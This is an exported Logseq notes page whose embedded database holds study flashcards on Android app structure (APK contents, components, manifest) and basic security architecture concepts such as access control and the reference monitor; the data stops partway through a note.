64 lines
1 MiB
64 lines
1 MiB
<!DOCTYPE html>
|
||
<head><meta charset="utf-8"></meta>
|
||
<meta content="minimum-scale=1, initial-scale=1, width=device-width, shrink-to-fit=no" name="viewport"></meta>
|
||
<link type="text/css" href="static/css/tabler-icons.min.css" rel="stylesheet"></link>
|
||
<link type="text/css" href="static/css/style.css" rel="stylesheet"></link>
|
||
<link type="text/css" href="static/css/custom.css" rel="stylesheet"></link>
|
||
<link type="text/css" href="static/css/export.css" rel="stylesheet"></link>
|
||
<link href="static/img/logo.png" type="image/png" rel="shortcut icon"></link>
|
||
<link href="static/img/logo.png" sizes="192x192" rel="shortcut icon"></link>
|
||
<link href="static/img/logo.png" rel="apple-touch-icon"></link>
|
||
<meta name="apple-mobile-web-app-title"></meta>
|
||
<meta name="apple-mobile-web-app-capable" content="yes"></meta>
|
||
<meta name="apple-touch-fullscreen" content="yes"></meta>
|
||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"></meta>
|
||
<meta name="mobile-web-app-capable" content="yes"></meta>
|
||
<meta property="og:title"></meta>
|
||
<meta content="site" property="og:type"></meta>
|
||
<meta content="static/img/logo.png" property="og:image"></meta>
|
||
<meta property="og:description"></meta>
|
||
<title></title>
|
||
<meta property="og:site_name"></meta>
|
||
<meta></meta>
|
||
</head>
|
||
<body><div id="root"></div>
|
||
<script>window.logseq_db="[logseq____"~#datascript/DBlogseq____",[logseq____"^ logseq____",logseq____"~:schemalogseq____",[logseq____"^ logseq____",logseq____"~:ast/versionlogseq____",[logseq____"^ logseq____"],logseq____"~:file/contentlogseq____",[logseq____"^ logseq____"],logseq____"~:block/properties-text-valueslogseq____",[logseq____"^ logseq____"],logseq____"~:block/aliaslogseq____",[logseq____"^ logseq____",logseq____"~:db/valueTypelogseq____",logseq____"~:db.type/reflogseq____",logseq____"~:db/cardinalitylogseq____",logseq____"~:db.cardinality/manylogseq____"],logseq____"~:block/pre-block?logseq____",[logseq____"^ logseq____"],logseq____"~:block/uuidlogseq____",[logseq____"^ logseq____",logseq____"~:db/uniquelogseq____",logseq____"~:db.unique/identitylogseq____"],logseq____"~:block/prioritylogseq____",[logseq____"^ logseq____"],logseq____"~:block/propertieslogseq____",[logseq____"^ logseq____"],logseq____"~:block/journal?logseq____",[logseq____"^ logseq____"],logseq____"~:block/namespacelogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____"],logseq____"~:block/updated-atlogseq____",[logseq____"^ logseq____"],logseq____"~:block/repeated?logseq____",[logseq____"^ logseq____"],logseq____"~:db/typelogseq____",[logseq____"^ logseq____"],logseq____"~:file/handlelogseq____",[logseq____"^ logseq____"],logseq____"~:block/leftlogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"~:db/indexlogseq____",true],logseq____"~:block/refslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:block/scheduledlogseq____",[logseq____"^ logseq____"],logseq____"~:block/properties-orderlogseq____",[logseq____"^ logseq____"],logseq____"~:block/created-atlogseq____",[logseq____"^ logseq____"],logseq____"~:block/deadlinelogseq____",[logseq____"^ logseq____"],logseq____"~:block/collapsed?logseq____",[logseq____"^ logseq____",logseq____"^Glogseq____",true],logseq____"~:block/journal-daylogseq____",[logseq____"^ logseq____"],logseq____"~:block/formatlogseq____",[logseq____"^ logseq____"],logseq____"~:block/tagslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:block/contentlogseq____",[logseq____"^ logseq____"],logseq____"~:recent/pageslogseq____",[logseq____"^ logseq____"],logseq____"~:block/macroslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:db/identlogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:block/path-refslogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^8logseq____",logseq____"^9logseq____"],logseq____"~:block/parentlogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^Glogseq____",true],logseq____"~:block/typelogseq____",[logseq____"^ logseq____"],logseq____"~:block/pagelogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____",logseq____"^Glogseq____",true],logseq____"~:block/namelogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:file/pathlogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:block/filelogseq____",[logseq____"^ logseq____",logseq____"^6logseq____",logseq____"^7logseq____"],logseq____"~:block/markerlogseq____",[logseq____"^ logseq____"],logseq____"~:block/original-namelogseq____",[logseq____"^ logseq____",logseq____"^logseq____<logseq____",logseq____"^=logseq____"],logseq____"~:schema/versionlogseq____",[logseq____"^ logseq____"]],logseq____"~:datomslogseq____",[logseq____"~#listlogseq____",[[logseq____"~#datascript/Datomlogseq____",[1,logseq____"^12logseq____",2,536870913]],[logseq____"^15logseq____",[2,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[2,logseq____"^Ylogseq____",logseq____"cardlogseq____",536870913]],[logseq____"^15logseq____",[2,logseq____"^11logseq____",logseq____"cardlogseq____",536870913]],[logseq____"^15logseq____",[2,logseq____"^;logseq____",logseq____"~u10e97fb1-089d-4f3a-8ff9-81eec78d457alogseq____",536878159]],[logseq____"^15logseq____",[3,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[3,logseq____"^Ylogseq____",logseq____"canceledlogseq____",536870914]],[logseq____"^15logseq____",[3,logseq____"^11logseq____",logseq____"CANCELEDlogseq____",536870914]],[logseq____"^15logseq____",[3,logseq____"^;logseq____",logseq____"~ua912c8a3-9c3c-4346-9bf0-c906bf6426c2logseq____",536878159]],[logseq____"^15logseq____",[4,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[4,logseq____"^Ylogseq____",logseq____"todologseq____",536870914]],[logseq____"^15logseq____",[4,logseq____"^11logseq____",logseq____"TODOlogseq____",536870914]],[logseq____"^15logseq____",[4,logseq____"^;logseq____",logseq____"~ua0dc4f23-f560-4e95-8ca5-05e540ac2f04logseq____",536878159]],[logseq____"^15logseq____",[5,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[5,logseq____"^Ylogseq____",logseq____"nowlogseq____",536870914]],[logseq____"^15logseq____",[5,logseq____"^11logseq____",logseq____"NOWlogseq____",536870914]],[logseq____"^15logseq____",[5,logseq____"^;logseq____",logseq____"~u4af8fe77-5b31-437d-a0fa-793865a87d56logseq____",536878159]],[logseq____"^15logseq____",[6,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[6,logseq____"^Ylogseq____",logseq____"laterlogseq____",536870914]],[logseq____"^15logseq____",[6,logseq____"^11logseq____",logseq____"LATERlogseq____",536870914]],[logseq____"^15logseq____",[6,logseq____"^;logseq____",logseq____"~u03178053-da72-4836-8f4e-b69b9855466dlogseq____",536878159]],[logseq____"^15logseq____",[7,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[7,logseq____"^Ylogseq____",logseq____"donelogseq____",536870914]],[logseq____"^15logseq____",[7,logseq____"^11logseq____",logseq____"DONElogseq____",536870914]],[logseq____"^15logseq____",[7,logseq____"^;logseq____",logseq____"~ufcacdf25-a233-43b0-883b-e0d09007e384logseq____",536878159]],[logseq____"^15logseq____",[8,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[8,logseq____"^Ylogseq____",logseq____"doinglogseq____",536870914]],[logseq____"^15logseq____",[8,logseq____"^11logseq____",logseq____"DOINGlogseq____",536870914]],[logseq____"^15logseq____",[8,logseq____"^;logseq____",logseq____"~u40aea316-3796-4c67-8534-61a2b05e985blogseq____",536878159]],[logseq____"^15logseq____",[9,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[9,logseq____"^Ylogseq____",logseq____"in-progresslogseq____",536870914]],[logseq____"^15logseq____",[9,logseq____"^11logseq____",logseq____"IN-PROGRESSlogseq____",536870914]],[logseq____"^15logseq____",[9,logseq____"^;logseq____",logseq____"~uf2368f28-9abe-4011-8bde-fb6398aafed1logseq____",536878159]],[logseq____"^15logseq____",[10,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[10,logseq____"^Ylogseq____",logseq____"clogseq____",536870914]],[logseq____"^15logseq____",[10,logseq____"^11logseq____",logseq____"Clogseq____",536870914]],[logseq____"^15logseq____",[10,logseq____"^;logseq____",logseq____"~uaba5b869-0a39-43b7-a245-9b0f5c03249elogseq____",536878159]],[logseq____"^15logseq____",[11,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[11,logseq____"^Ylogseq____",logseq____"blogseq____",536870914]],[logseq____"^15logseq____",[11,logseq____"^11logseq____",logseq____"Blogseq____",536870914]],[logseq____"^15logseq____",[11,logseq____"^;logseq____",logseq____"~u149cdfa5-c613-40bf-8c18-045855291077logseq____",536878159]],[logseq____"^15logseq____",[12,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[12,logseq____"^Ylogseq____",logseq____"contentslogseq____",536870914]],[logseq____"^15logseq____",[12,logseq____"^11logseq____",logseq____"Contentslogseq____",536870914]],[logseq____"^15logseq____",[12,logseq____"^;logseq____",logseq____"~u53bb7585-bf4b-4325-a2b0-bd10f8f4551clogseq____",536878159]],[logseq____"^15logseq____",[13,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[13,logseq____"^Ylogseq____",logseq____"waitinglogseq____",536870914]],[logseq____"^15logseq____",[13,logseq____"^11logseq____",logseq____"WAITINGlogseq____",536870914]],[logseq____"^15logseq____",[13,logseq____"^;logseq____",logseq____"~ub6f5a990-8170-4ba0-8a3f-3b9e08ee258blogseq____",536878159]],[logseq____"^15logseq____",[14,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[14,logseq____"^Ylogseq____",logseq____"favoriteslogseq____",536870914]],[logseq____"^15logseq____",[14,logseq____"^11logseq____",logseq____"Favoriteslogseq____",536870914]],[logseq____"^15logseq____",[14,logseq____"^;logseq____",logseq____"~uc3441a13-c1f1-4ed7-8f72-035c7d23bda3logseq____",536878159]],[logseq____"^15logseq____",[15,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[15,logseq____"^Ylogseq____",logseq____"alogseq____",536870914]],[logseq____"^15logseq____",[15,logseq____"^11logseq____",logseq____"Alogseq____",536870914]],[logseq____"^15logseq____",[15,logseq____"^;logseq____",logseq____"~u3a3851a7-be10-4c3c-9a98-b597e5dc4a17logseq____",536878159]],[logseq____"^15logseq____",[16,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[16,logseq____"^Ylogseq____",logseq____"cancelledlogseq____",536870914]],[logseq____"^15logseq____",[16,logseq____"^11logseq____",logseq____"CANCELLEDlogseq____",536870914]],[logseq____"^15logseq____",[16,logseq____"^;logseq____",logseq____"~u4a4558b6-7803-43fe-9d71-77c181c14beelogseq____",536878159]],[logseq____"^15logseq____",[17,logseq____"^@logseq____",false,536870914]],[logseq____"^15logseq____",[17,logseq____"^Ylogseq____",logseq____"waitlogseq____",536870914]],[logseq____"^15logseq____",[17,logseq____"^11logseq____",logseq____"WAITlogseq____",536870914]],[logseq____"^15logseq____",[17,logseq____"^;logseq____",logseq____"~ufb350d4f-e5c6-4672-9778-c2e4bc410cb8logseq____",536878159]],[logseq____"^15logseq____",[21,logseq____"^Qlogseq____",logseq____"logseq____",536870916]],[logseq____"^15logseq____",[21,logseq____"^Ologseq____",logseq____"~:markdownlogseq____",536870916]],[logseq____"^15logseq____",[21,logseq____"^Flogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^Xlogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^Vlogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^Ulogseq____",12,536870916]],[logseq____"^15logseq____",[21,logseq____"^;logseq____",logseq____"~u67b83fab-a905-406b-b453-fad4fa5ed559logseq____",536870916]],[logseq____"^15logseq____",[23,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[23,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[23,logseq____"^Ylogseq____",logseq____"apk (android package)logseq____",536870916]],[logseq____"^15logseq____",[23,logseq____"^11logseq____",logseq____"APK (Android Package)logseq____",536870916]],[logseq____"^15logseq____",[23,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[23,logseq____"^;logseq____",logseq____"~u67bd79bb-cc11-42a6-b5a7-e40030d94c6clogseq____",536878163]],[logseq____"^15logseq____",[24,logseq____"^Klogseq____",1740128172076,536870916]],[logseq____"^15logseq____",[24,logseq____"^Ologseq____",logseq____"^16logseq____",536873716]],[logseq____"^15logseq____",[24,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[24,logseq____"^Ylogseq____",logseq____"android-basicslogseq____",536870916]],[logseq____"^15logseq____",[24,logseq____"^11logseq____",logseq____"android-basicslogseq____",536870916]],[logseq____"^15logseq____",[24,logseq____"^Blogseq____",1740128172076,536870916]],[logseq____"^15logseq____",[24,logseq____"^;logseq____",logseq____"~u67bb1dd7-1e3b-4bfe-a553-5df7a8be6cealogseq____",536876191]],[logseq____"^15logseq____",[25,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[25,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[25,logseq____"^Ylogseq____",logseq____"content provider componentslogseq____",536870916]],[logseq____"^15logseq____",[25,logseq____"^11logseq____",logseq____"Content Provider Componentslogseq____",536870916]],[logseq____"^15logseq____",[25,logseq____"^Blogseq____",1740133423356,536872684]],[logseq____"^15logseq____",[25,logseq____"^;logseq____",logseq____"~u67b83fac-b2e2-4556-b3ad-d901f35ed86clogseq____",536870916]],[logseq____"^15logseq____",[26,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[26,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[26,logseq____"^Ylogseq____",logseq____"service componentslogseq____",536870916]],[logseq____"^15logseq____",[26,logseq____"^11logseq____",logseq____"Service Componentslogseq____",536870916]],[logseq____"^15logseq____",[26,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[26,logseq____"^;logseq____",logseq____"~u67bd79bb-6aed-4111-b5a5-7cb84b2c4e3elogseq____",536878163]],[logseq____"^15logseq____",[27,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[27,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[27,logseq____"^Ylogseq____",logseq____"activity componentlogseq____",536870916]],[logseq____"^15logseq____",[27,logseq____"^11logseq____",logseq____"Activity Componentlogseq____",536870916]],[logseq____"^15logseq____",[27,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[27,logseq____"^;logseq____",logseq____"~u67b83fac-9b90-43fb-90b5-27cf47cfe5c7logseq____",536870916]],[logseq____"^15logseq____",[28,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[28,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[28,logseq____"^Ylogseq____",logseq____"application manifestlogseq____",536870916]],[logseq____"^15logseq____",[28,logseq____"^11logseq____",logseq____"Application Manifestlogseq____",536870916]],[logseq____"^15logseq____",[28,logseq____"^Blogseq____",1740129740002,536871584]],[logseq____"^15logseq____",[28,logseq____"^;logseq____",logseq____"~u67bd79bb-49c1-4a2f-95c8-c6326cd8e41clogseq____",536878163]],[logseq____"^15logseq____",[29,logseq____"^Qlogseq____",logseq____"Simply a *packaging format* (similar to `zip` or `jar`)logseq____",536870916]],[logseq____"^15logseq____",[29,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[29,logseq____"^Flogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^Vlogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[29,logseq____"^;logseq____",logseq____"~u67b83fab-c5ac-4c34-b494-6d145a75719dlogseq____",536870916]],[logseq____"^15logseq____",[30,logseq____"^Qlogseq____",logseq____"## Structure: #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[30,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[30,logseq____"^Flogseq____",29,536870916]],[logseq____"^15logseq____",[30,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[30,logseq____"^Vlogseq____",23,536870916]],[logseq____"^15logseq____",[30,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[30,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[30,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[30,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:headinglogseq____",2],536873233]],[logseq____"^15logseq____",[30,logseq____"^Jlogseq____",[],536873233]],[logseq____"^15logseq____",[30,logseq____"^Hlogseq____",2,536873233]],[logseq____"^15logseq____",[30,logseq____"^Hlogseq____",24,536873233]],[logseq____"^15logseq____",[30,logseq____"^;logseq____",logseq____"~u67b83fab-d8f0-4da3-b776-987482f63ce6logseq____",536870916]],[logseq____"^15logseq____",[31,logseq____"^Qlogseq____",logseq____"Components ([[Activity]], [[Service Components]], [[Content Provider]] etc.)logseq____",536873233]],[logseq____"^15logseq____",[31,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[31,logseq____"^Flogseq____",30,536870916]],[logseq____"^15logseq____",[31,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[31,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",25,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",27,536870916]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",411,536873233]],[logseq____"^15logseq____",[31,logseq____"^Ulogseq____",412,536873233]],[logseq____"^15logseq____",[31,logseq____"^Hlogseq____",26,536873233]],[logseq____"^15logseq____",[31,logseq____"^Hlogseq____",411,536873233]],[logseq____"^15logseq____",[31,logseq____"^Hlogseq____",412,536873233]],[logseq____"^15logseq____",[31,logseq____"^;logseq____",logseq____"~u67b83fab-1606-4ab2-a422-d276e409c9d0logseq____",536870916]],[logseq____"^15logseq____",[32,logseq____"^Qlogseq____",logseq____"Native Code (`C`/`C++` shared libraries) that can be linked dynamically into the processlogseq____",536870916]],[logseq____"^15logseq____",[32,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[32,logseq____"^Flogseq____",31,536870916]],[logseq____"^15logseq____",[32,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[32,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[32,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[32,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[32,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[32,logseq____"^;logseq____",logseq____"~u67b83fab-d8ca-46d8-97ca-6ccb4a15e44dlogseq____",536870916]],[logseq____"^15logseq____",[33,logseq____"^Qlogseq____",logseq____"Resources (images, strings)logseq____",536870916]],[logseq____"^15logseq____",[33,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[33,logseq____"^Flogseq____",32,536870916]],[logseq____"^15logseq____",[33,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[33,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[33,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[33,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[33,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[33,logseq____"^;logseq____",logseq____"~u67b83fab-eb74-464e-8b3c-33ebcf297a51logseq____",536870916]],[logseq____"^15logseq____",[34,logseq____"^Qlogseq____",logseq____"~`META-INF` (application certificate, package manifest)logseq____",536870916]],[logseq____"^15logseq____",[34,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[34,logseq____"^Flogseq____",33,536870916]],[logseq____"^15logseq____",[34,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[34,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[34,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[34,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[34,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[34,logseq____"^;logseq____",logseq____"~u67b83fab-3432-4b02-8517-ba4278b54aeelogseq____",536870916]],[logseq____"^15logseq____",[35,logseq____"^Qlogseq____",logseq____"[[Application Manifest]]logseq____",536870916]],[logseq____"^15logseq____",[35,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[35,logseq____"^Flogseq____",34,536870916]],[logseq____"^15logseq____",[35,logseq____"^Xlogseq____",23,536870916]],[logseq____"^15logseq____",[35,logseq____"^Vlogseq____",30,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",23,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[35,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[35,logseq____"^Hlogseq____",28,536873233]],[logseq____"^15logseq____",[35,logseq____"^;logseq____",logseq____"~u67b83fab-d123-4c64-af34-59c9559adbf8logseq____",536870916]],[logseq____"^15logseq____",[37,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[37,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[37,logseq____"^Ylogseq____",logseq____"access controllogseq____",536870916]],[logseq____"^15logseq____",[37,logseq____"^11logseq____",logseq____"Access Controllogseq____",536870916]],[logseq____"^15logseq____",[37,logseq____"^Blogseq____",1740129291432,536871364]],[logseq____"^15logseq____",[37,logseq____"^;logseq____",logseq____"~u67bd79bb-740a-4592-bf5d-f5137604c583logseq____",536878163]],[logseq____"^15logseq____",[38,logseq____"^Klogseq____",1740128172064,536870916]],[logseq____"^15logseq____",[38,logseq____"^Ologseq____",logseq____"^16logseq____",536870920]],[logseq____"^15logseq____",[38,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[38,logseq____"^Ylogseq____",logseq____"security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[38,logseq____"^11logseq____",logseq____"security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[38,logseq____"^Blogseq____",1740128172064,536870916]],[logseq____"^15logseq____",[38,logseq____"^;logseq____",logseq____"~u67b9e0d4-406e-4a81-bc60-16ed87f0654dlogseq____",536874672]],[logseq____"^15logseq____",[39,logseq____"^Qlogseq____",logseq____"*object-centered* approach: associate objects with list of subjects and their access rightslogseq____",536870916]],[logseq____"^15logseq____",[39,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[39,logseq____"^Flogseq____",57,536870916]],[logseq____"^15logseq____",[39,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[39,logseq____"^Vlogseq____",57,536870916]],[logseq____"^15logseq____",[39,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[39,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[39,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[39,logseq____"^;logseq____",logseq____"~u67b83fab-86b8-41c8-9dd4-c79aac51d247logseq____",536870916]],[logseq____"^15logseq____",[40,logseq____"^Qlogseq____",logseq____"System can authenticate the userlogseq____",536870916]],[logseq____"^15logseq____",[40,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[40,logseq____"^Flogseq____",41,536870916]],[logseq____"^15logseq____",[40,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[40,logseq____"^Vlogseq____",41,536870916]],[logseq____"^15logseq____",[40,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[40,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[40,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[40,logseq____"^;logseq____",logseq____"~u67b83fab-86ab-468b-8638-cb455021afeelogseq____",536870916]],[logseq____"^15logseq____",[41,logseq____"^Qlogseq____",logseq____"## Reference Monitor #card #security-architecture\\nid:: 67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____",536870916]],[logseq____"^15logseq____",[41,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[41,logseq____"^Flogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Vlogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[41,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[41,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[41,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:idlogseq____",logseq____"67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[41,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[41,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____"],536870916]],[logseq____"^15logseq____",[41,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[41,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[41,logseq____"^;logseq____",logseq____"~u67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____",536870916]],[logseq____"^15logseq____",[42,logseq____"^Qlogseq____",logseq____"*Object*: Passive entity that is being accessed, e.g., filelogseq____",536870916]],[logseq____"^15logseq____",[42,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[42,logseq____"^Flogseq____",52,536870916]],[logseq____"^15logseq____",[42,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[42,logseq____"^Vlogseq____",49,536870916]],[logseq____"^15logseq____",[42,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[42,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[42,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[42,logseq____"^;logseq____",logseq____"~u67b83fab-f244-4162-b609-47ff518d9d86logseq____",536870916]],[logseq____"^15logseq____",[43,logseq____"^Qlogseq____",logseq____"*Principal*: Authenticated entity, e.g., userlogseq____",536870916]],[logseq____"^15logseq____",[43,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[43,logseq____"^Flogseq____",49,536870916]],[logseq____"^15logseq____",[43,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[43,logseq____"^Vlogseq____",49,536870916]],[logseq____"^15logseq____",[43,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[43,logseq____"^Ulogseq____",37,536870916]],[logseq____"^15logseq____",[43,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[43,logseq____"^;logseq____",logseq____"~u67b83fab-f332-4cad-bb3a-58e73f52c80alogseq____",536870916]],[logseq____"^15logseq____",[44,logseq____"^Qlogseq____",logseq____"*Authority* that is *implicitly* used by a subjectlogseq____",536870916]],[logseq____"^15logseq____",[44,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[44,logseq____"^Flogseq____",60,536870916]],[logseq____"^15logseq____",[44,logseq____"^Xlogseq____",37,536870916]],[logseq____"^15logseq____",[44,logseq____"^Vlogseq____",60,536870916]],[logseq____"^15logseq____",[44,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[44,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[44,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[44,logseq____"^;logseq____",logseq____"~u67b83fab-ba72-4414-9e61-cf8bd6826561logseq____",536870916]],[logseq____"^15logseq____",[45,logseq____"^Qlogseq____",logseq____"Pass access requests through a reference 